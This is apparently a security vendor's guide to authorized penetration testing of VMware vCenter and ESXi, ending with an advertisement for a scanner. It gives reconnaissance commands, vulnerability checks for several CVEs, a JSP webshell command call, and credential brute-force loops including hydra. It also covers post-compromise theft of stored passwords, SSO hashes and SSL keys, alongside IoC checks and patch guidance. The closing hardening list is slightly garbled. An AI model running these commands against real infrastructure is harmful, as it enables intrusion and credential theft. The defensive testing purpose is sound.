VMware vSphere and ESXi are the backbone of enterprise virtualization infrastructure, running hundreds or thousands of virtual machines per host. CVE-2021-21985 (CVSS 9.8) allowed unauthenticated RCE on vCenter Server via a plugin enabled by default, and the ESXiArgs ransomware campaign of 2023 demonstrated that unpatched ESXi hosts could be compromised at mass scale. Compromising vCenter is effectively compromising every VM in the datacenter. This guide covers authorized VMware infrastructure penetration testing methodology.
VMware vSphere consists of multiple components, each with distinct attack surfaces:
| Component | Default Ports | Auth Mechanism | Attack Surface |
|---|---|---|---|
| vCenter Server (VCSA) | 443, 5480, 9090, 9443 | SSO (vSphere credentials), AD | CVE-2021-21985/22005, admin brute force, plugin vulns |
| ESXi DCUI | Physical console | root password | Physical access, DCUI bypass |
| ESXi SSH | 22 | root password, SSH key | Brute force, key theft, disabled by default |
| ESXi Web Client (ESXUI) | 443 or 80 | root password | Credential brute force, session theft |
| vSphere API (SOAP) | 443 | Session tokens | Unauthenticated API enumeration, mass VM ops |
| vSphere API (REST) | 443 | Session tokens, API keys | Token theft, mass VM enumeration |
| vSAN | 2049, 8009, 8010 | vSphere credentials | Plugin vulnerabilities, data access |
| vCenter SSO | 7444 | Kerberos, LDAP | Golden ticket attacks, LDAP credential extraction |
# vCenter login page fingerprint
curl -sk https://VCENTER/ | grep -i "vsphere\|vmware\|vcenter"
# vCenter version via API (often unauthenticated)
curl -sk https://VCENTER/sdk/vimServiceVersions.xml | head -20
# Response: urn:vim25 ...
# More detailed version info
curl -sk https://VCENTER/ui/ | grep -oP 'version["\s:]+[\d\.]+' | head -5
# Check vCenter Server Appliance (VCSA) management interface
curl -sk https://VCENTER:5480/ | grep -i "version\|vmware\|appliance"
# API endpoint for version info
curl -sk https://VCENTER/rest/vcenter/namespace-management/cluster-available-versions
curl -sk https://VCENTER/api/vcenter/deployment | grep -i version
# Port scan for vCenter services
nmap -sV -p 443,80,5480,7444,9090,9443,10443 VCENTER
# ESXi host direct fingerprint
curl -sk https://ESXI-HOST/ | grep -i "vmware\|esxi\|vsphere"
# ESXi version via welcome page
curl -sk https://ESXI-HOST/ui/ | grep -oP 'version["\s:]+[\d\.]+'
# ESXi exposes build number in HTTP headers sometimes
curl -skI https://ESXI-HOST/ | grep -i "server\|x-"
# SOAP API endpoint exposes version without auth
curl -sk https://ESXI-HOST/sdk/vimServiceVersions.xml
# Check if SSH is enabled
nmap -p 22 ESXI-HOST
# Shodan for internet-exposed vCenter/ESXi
# http.title:"VMware vSphere" port:443
# http.html:"vSphere Client" country:DE
# product:"VMware ESXi" (via nmap fingerprinting in Shodan)
CVE-2021-21985 (CVSS 9.8) is a remote code execution vulnerability in VMware vCenter Server. It exists in the vSAN Health Check plugin, which is enabled by default. An attacker with network access to port 443 on vCenter can exploit this without authentication to achieve remote code execution as the user running vCenter (typically root on Linux VCSA).
The vSAN Health Check plugin exposes a servlet that does not require authentication. The vulnerability is in how the plugin handles serialized Java objects — specifically in the com.vmware.vim.sso.admin.SsoApi component. The exploit chain uses a crafted request to the /ui/h5-vsan endpoint.
# Check vCenter version (affected: vCenter 6.5, 6.7, 7.0 before specific patches)
# 7.0 U2b and later: patched
# 6.7 U3n and later: patched
# 6.5 U3p and later: patched
# Check if vulnerable endpoint responds
curl -sk -X POST https://VCENTER/ui/h5-vsan/rest/proxy/service/ \
-H "Content-Type: application/json" \
-d '{}' -o /dev/null -w "%{http_code}"
# 200 or 500 may indicate the endpoint exists (not necessarily exploitable without specific payload)
# Check vCenter version via API
curl -sk "https://VCENTER/rest/appliance/system/version" | jq '.'
# Returns: {"value":{"version":"7.0.2.00200","build":"17920168",...}}
# vSAN Health Check endpoint presence check
curl -sk -X GET "https://VCENTER/ui/h5-vsan/rest/proxy/service?proxyServicePath=/vsan-health/api" \
-o /dev/null -w "%{http_code}"
# Once RCE is achieved on vCenter (root on VCSA Linux):
# Extract vCenter SSO admin credentials from vpxd.cfg
cat /etc/vmware-vpx/vpxd.cfg | grep -A 5 ""
# vcenter credential store
cat /etc/vmware-vpx/vcdb.properties | grep password
# List all ESXi hosts managed by this vCenter
cat /var/lib/vmware/vpxd/vpxd.log | grep "Connected to" | tail -20
# Extract encrypted passwords from vCenter database
# vCenter uses a PostgreSQL database (VCDB)
/opt/vmware/vpostgres/current/bin/psql -U vpxd vpxdb -c \
"SELECT dc.name, h.ip_address, h.password FROM VPX_HOST h \
JOIN VPX_ENTITY e ON h.id=e.id JOIN VPX_DATACENTER dc ON e.parent_id=dc.id;"
# The ESXi host passwords stored in vCenter VCDB are encrypted
# Decryption requires the ESX Configuration Manager key
# Extract SSL certificates used by vCenter
ls /etc/vmware-vpx/ssl/
cat /etc/vmware-vpx/ssl/rui.key # vCenter SSL private key
CVE-2021-22005 (CVSS 9.8) is an arbitrary file upload vulnerability in vCenter Server's analytics component. It affects vCenter 6.7 before 6.7 U3o and 7.0 before 7.0 U2c. An unauthenticated attacker can upload an arbitrary file to the vCenter Server — and the file is placed in a web-accessible location that allows it to be executed as a JSP shell.
# Check if target is in vulnerable version range
# vCenter 6.7 < 6.7U3o, vCenter 7.0 < 7.0U2c
# Test the analytics endpoint
curl -sk "https://VCENTER/analytics/telemetry/ph/api/hyper/send?_c=&_i=test" \
-X POST -H "Content-Type: application/json" -d '{}' | head -5
# The vulnerability exists in the file upload handling at:
# /analytics/telemetry/ph/api/hyper/send endpoint
# A malformed multipart request with path traversal in the filename
# places a JSP file in /usr/lib/vmware-sso/vmware-sts/webapps/ROOT/
# Verify exploitability by checking if the target path is accessible
curl -sk "https://VCENTER/test-upload.jsp" -o /dev/null -w "%{http_code}"
# Should be 404 before exploit, 200 after
# After successful upload, execute commands via JSP webshell
curl -sk "https://VCENTER/upload.jsp?cmd=id"
The ESXiArgs campaign (February 2023) targeted unpatched VMware ESXi hosts at scale using CVE-2021-21974 (OpenSLP heap overflow), affecting tens of thousands of hosts globally. Understanding this attack chain is essential for defensive testing.
# ESXiArgs used CVE-2021-21974 - OpenSLP heap overflow
# Affected: ESXi 7.0 before ESXi70U1c-17325551
# ESXi 6.7 before ESXi670-202102401-SG
# ESXi 6.5 before ESXi650-202102101-SG
# OpenSLP listens on port 427 (SLP protocol)
# Check if SLP is exposed (should not be internet-facing)
nmap -sU -p 427 ESXI-HOST
nmap -sT -p 427 ESXI-HOST
# Test SLP service response
echo -ne '\x02\x01\x00\x26\x00\x00\x00\x00\x00\x01\x00\x11en\x00\x00\x00\x07default\x00\x13service:service-agent\x00\x00' | \
nc -u ESXI-HOST 427 | xxd | head -5
# If port 427 responds: flag for CVE-2021-21974 vulnerability
# ESXi hosts should block port 427 from external networks
# ESXiArgs attack chain (for understanding/defense):
# 1. Exploit CVE-2021-21974 to gain code execution on ESXi
# 2. Drop Python-based ransomware payload
# 3. Enumerate all VMs: find all .vmdk, .vmx, .vmsd files
# 4. Encrypt VMDKs (large flat files) leaving VMs unusable
# 5. Drop ransom note in /var/www/html/index.html (accessible via browser)
# Authorized detection test: check for IoCs on potentially compromised ESXi
# (requires SSH/console access to the ESXi host)
# Check for ransomware artifacts
ls /tmp/ | grep -E "\.sh|encrypt|args"
ls /var/run/ | grep -E "encrypt|vmx"
# Check for modified ESXi init files (persistence mechanism)
cat /etc/rc.local
cat /etc/init.d/hostd | head -20
# Check for abnormal processes
ps | grep -v "vmx\|hostd\|python\|sh\|awk\|sed" | grep -v "^\s*PID"
# Review ESXi syslog for attack artifacts
cat /var/log/syslog.log | grep -i "encrypt\|ransom\|python\|wget\|curl" | tail -20
cat /var/log/hostd.log | grep -i "error\|connection\|auth" | tail -30
ESXi hosts can be accessed directly (bypassing vCenter) via ESXUI, SSH, and the SOAP API. This is relevant when vCenter is down or when an attacker has compromised an individual host.
# ESXi web client login page
curl -sk https://ESXI-HOST/ui/ | grep -i "version\|build"
# Default credentials
# root / (empty string) - factory default, should be set during installation
# root / vmware - common weak default
# root / password
# Test default/weak credentials
for pass in "" "vmware" "password" "VMware1!" "admin" "esxi"; do
result=$(curl -sk -X POST "https://ESXI-HOST/ui/login" \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "username=root&password=${pass}" \
-c /tmp/esxi_cookies.txt -b /tmp/esxi_cookies.txt \
-L -o /dev/null -w "%{http_code}")
echo "root:${pass} -> HTTP $result"
done
# ESXi SSH brute force (if SSH enabled - disabled by default)
hydra -l root -P /usr/share/seclists/Passwords/Common-Credentials/top-passwords-shortlist.txt \
ESXI-HOST ssh -t 1 -W 3
# ESXi exposes a SOAP API at /sdk
# Check if API responds
curl -sk https://ESXI-HOST/sdk/vimServiceVersions.xml | head -10
# Enumerate datacenter/VM info via SOAP (requires auth)
# Generate session token
cat > /tmp/esxi-login.xml << 'EOF'
<_this type="SessionManager">ha-sessionmgr
root
PASS
EOF
curl -sk -X POST https://ESXI-HOST/sdk \
-H "Content-Type: text/xml; charset=utf-8" \
-H 'SOAPAction: "urn:vim25/6.0"' \
-d @/tmp/esxi-login.xml -c esxi-session.txt
# After login, enumerate VMs
cat > /tmp/esxi-vm-list.xml << 'EOF'
<_this type="PropertyCollector">ha-property-collector
VirtualMachine false
config.name config.guestFullName
runtime.powerState guest.ipAddress
session[6f2e4e75-d3de-4bd7-9ff5-ba5ce3a7dbce]datacenter-2
false traverseChild
EOF
# If SSH access is obtained on ESXi host:
# List all VMs and their state
vim-cmd vmsvc/getallvms
vim-cmd vmsvc/power.getstate VMID
# Get VM network configuration (reveals internal IP addresses)
vim-cmd vmsvc/get.guest VMID | grep -i "ipAddress\|hostname"
# ESXi datastore enumeration (all VM disk paths)
esxcli storage filesystem list
ls /vmfs/volumes/
# List all running VM processes
ps | grep vmx
# Extract network configuration from guest VMs without powering them off
vmx_file="/vmfs/volumes/DATASTORE/VM-NAME/VM-NAME.vmx"
grep -i "ethernet\|network\|ip" "$vmx_file"
# Get ESXi host networking configuration
esxcli network ip address list
esxcli network ip route ipv4 list
# vSwitch configuration (reveals network topology)
esxcli network vswitch standard list
esxcli network vswitch dvs vmware list
The vSphere REST API (available in vCenter 6.7+) provides modern JSON-based access to all vCenter functionality.
# Create a session via vSphere REST API
SESSION=$(curl -sk -X POST \
"https://VCENTER/rest/com/vmware/cis/session" \
-u "administrator@vsphere.local:PASSWORD" | jq -r '.value')
echo "Session token: $SESSION"
# Use session for subsequent requests
curl -sk -H "vmware-api-session-id: $SESSION" \
"https://VCENTER/rest/vcenter/vm" | jq '.'
# vCenter REST API v2 (vCenter 7.0+)
curl -sk -X POST \
"https://VCENTER/api/session" \
-u "administrator@vsphere.local:PASSWORD" | jq '.'
# List all VMs with details
curl -sk -H "vmware-api-session-id: $SESSION" \
"https://VCENTER/rest/vcenter/vm" | \
jq '.value[] | {vm, name, power_state}'
# Get VM network configuration (reveals internal subnets)
curl -sk -H "vmware-api-session-id: $SESSION" \
"https://VCENTER/rest/vcenter/vm/VMID/guest/networking/interfaces" | \
jq '.value[] | {nic, mac_address, ip: .ip.ip_addresses}'
# Enumerate hosts managed by vCenter
curl -sk -H "vmware-api-session-id: $SESSION" \
"https://VCENTER/rest/vcenter/host" | \
jq '.value[] | {host, name, connection_state, power_state}'
# Get datastore information
curl -sk -H "vmware-api-session-id: $SESSION" \
"https://VCENTER/rest/vcenter/datastore" | \
jq '.value[] | {datastore, name, type, capacity, free_space}'
# Network enumeration
curl -sk -H "vmware-api-session-id: $SESSION" \
"https://VCENTER/rest/vcenter/network" | \
jq '.value[] | {network, name, type}'
vCenter stores numerous credentials: ESXi host passwords, LDAP bind credentials, backup service credentials, and SSO admin passwords. These are accessible post-compromise.
# vCenter uses embedded PostgreSQL (VCDB)
# Access requires root/root-equivalent access to the VCSA
# Connect to the vCenter embedded database
/opt/vmware/vpostgres/current/bin/psql -U vpxd vpxdb
# List all managed ESXi hosts and their (encrypted) passwords
SELECT h.ip_address, h.user_name, h.password
FROM VPX_HOST h;
# vCenter SSO database for user/password hashes
/opt/vmware/vpostgres/current/bin/psql -U vmware-sts stsdb
SELECT u.name, u.password
FROM SYSDOMAIN_PRINCIPAL u
WHERE u.principal_type = 'PrincipalType.USER';
# Extract credential store entries
/opt/vmware/vpostgres/current/bin/psql -U vpxd vpxdb -c \
"SELECT * FROM VPX_CREDENTIAL;" 2>/dev/null
# vCenter license keys (business intel)
/opt/vmware/vpostgres/current/bin/psql -U vpxd vpxdb -c \
"SELECT serial_key, edition_key, name FROM VPX_LICENSE;"
# SSO admin is "administrator@vsphere.local" by default
# Test weak SSO admin passwords
for pass in "VMware1!" "vmware" "P@ssw0rd" "Admin@123" "Vmware@123"; do
result=$(curl -sk -X POST "https://VCENTER/rest/com/vmware/cis/session" \
-u "administrator@vsphere.local:${pass}" \
-o /dev/null -w "%{http_code}")
echo "administrator@vsphere.local:${pass} -> HTTP $result"
sleep 2 # Rate limiting
done
# vCenter integrated LDAP auth - test with domain credentials
for pass in "Password1!" "Summer2026!" "Winter2026!"; do
result=$(curl -sk -X POST "https://VCENTER/rest/com/vmware/cis/session" \
-u "administrator@CORP.LOCAL:${pass}" \
-o /dev/null -w "%{http_code}")
echo "administrator@CORP.LOCAL:${pass} -> HTTP $result"
done
VM escape vulnerabilities allow code running inside a VM to break out and execute on the underlying ESXi hypervisor. These are rare but extremely high-impact.
| CVE | CVSS | Component | Description |
|---|---|---|---|
| CVE-2021-22041 | 8.5 | UHCI USB controller | Double-fetch vulnerability in USB 1.1 UHCI emulation |
| CVE-2021-21974 | 8.8 | OpenSLP | Heap overflow — used in ESXiArgs ransomware |
| CVE-2019-5544 | 9.8 | OpenSLP | Heap overflow (pre-ESXiArgs) |
| CVE-2018-3646 | 5.6 | CPU (L1TF) | L1 Terminal Fault — microarchitectural side-channel |
# VMware Tools runs inside VMs and communicates with the hypervisor
# Check VMware Tools version and status from ESXi host
vim-cmd vmsvc/get.guest VMID | grep toolsVersion
# From inside a VM, VMware Tools attack surface:
# - Guest operations API abuse (if vCenter has admin access to the VM)
# - VMCI (VM Communication Interface) sockets
# - Drag-and-drop file transfer (CVE history)
# Test VMware Tools command execution from vCenter (requires VM admin)
curl -sk -H "vmware-api-session-id: $SESSION" \
-X POST "https://VCENTER/rest/vcenter/vm/VMID/guest/processes?action=create" \
-H "Content-Type: application/json" \
-d '{"spec":{"path":"/bin/id","arguments":"","working_directory":"/tmp"}}'
| CVE | CVSS | Fix Version | Component |
|---|---|---|---|
| CVE-2021-21985 | 9.8 | vCenter 7.0 U2b, 6.7 U3n, 6.5 U3p | vSAN Health Check plugin |
| CVE-2021-22005 | 9.8 | vCenter 7.0 U2c, 6.7 U3o | Analytics/telemetry component |
| CVE-2021-21974 | 8.8 | ESXi 7.0 U1c, 6.7 P05, 6.5 P06 | OpenSLP (used in ESXiArgs) |
| CVE-2020-3952 | 10.0 | vCenter 6.7 U3f | VMware Directory Service |
Plug-in Manager in the vSphere Clientesxcli system wbem set --enable false and block port 427 at the network leveladministrator@vsphere.local password should be 20+ characters; rotate it regularlyhttps://ESXI-HOST/ (the welcome page may have been replaced). Also check /var/run/vmware/.ransom and look for encrypt.sh or encrypt2.sh in /tmp/.
Ironimo's Kali Linux-powered scanner identifies exposed vCenter management interfaces, ESXi version vulnerabilities, and misconfigured vSphere APIs before attackers weaponize them.
Start free scan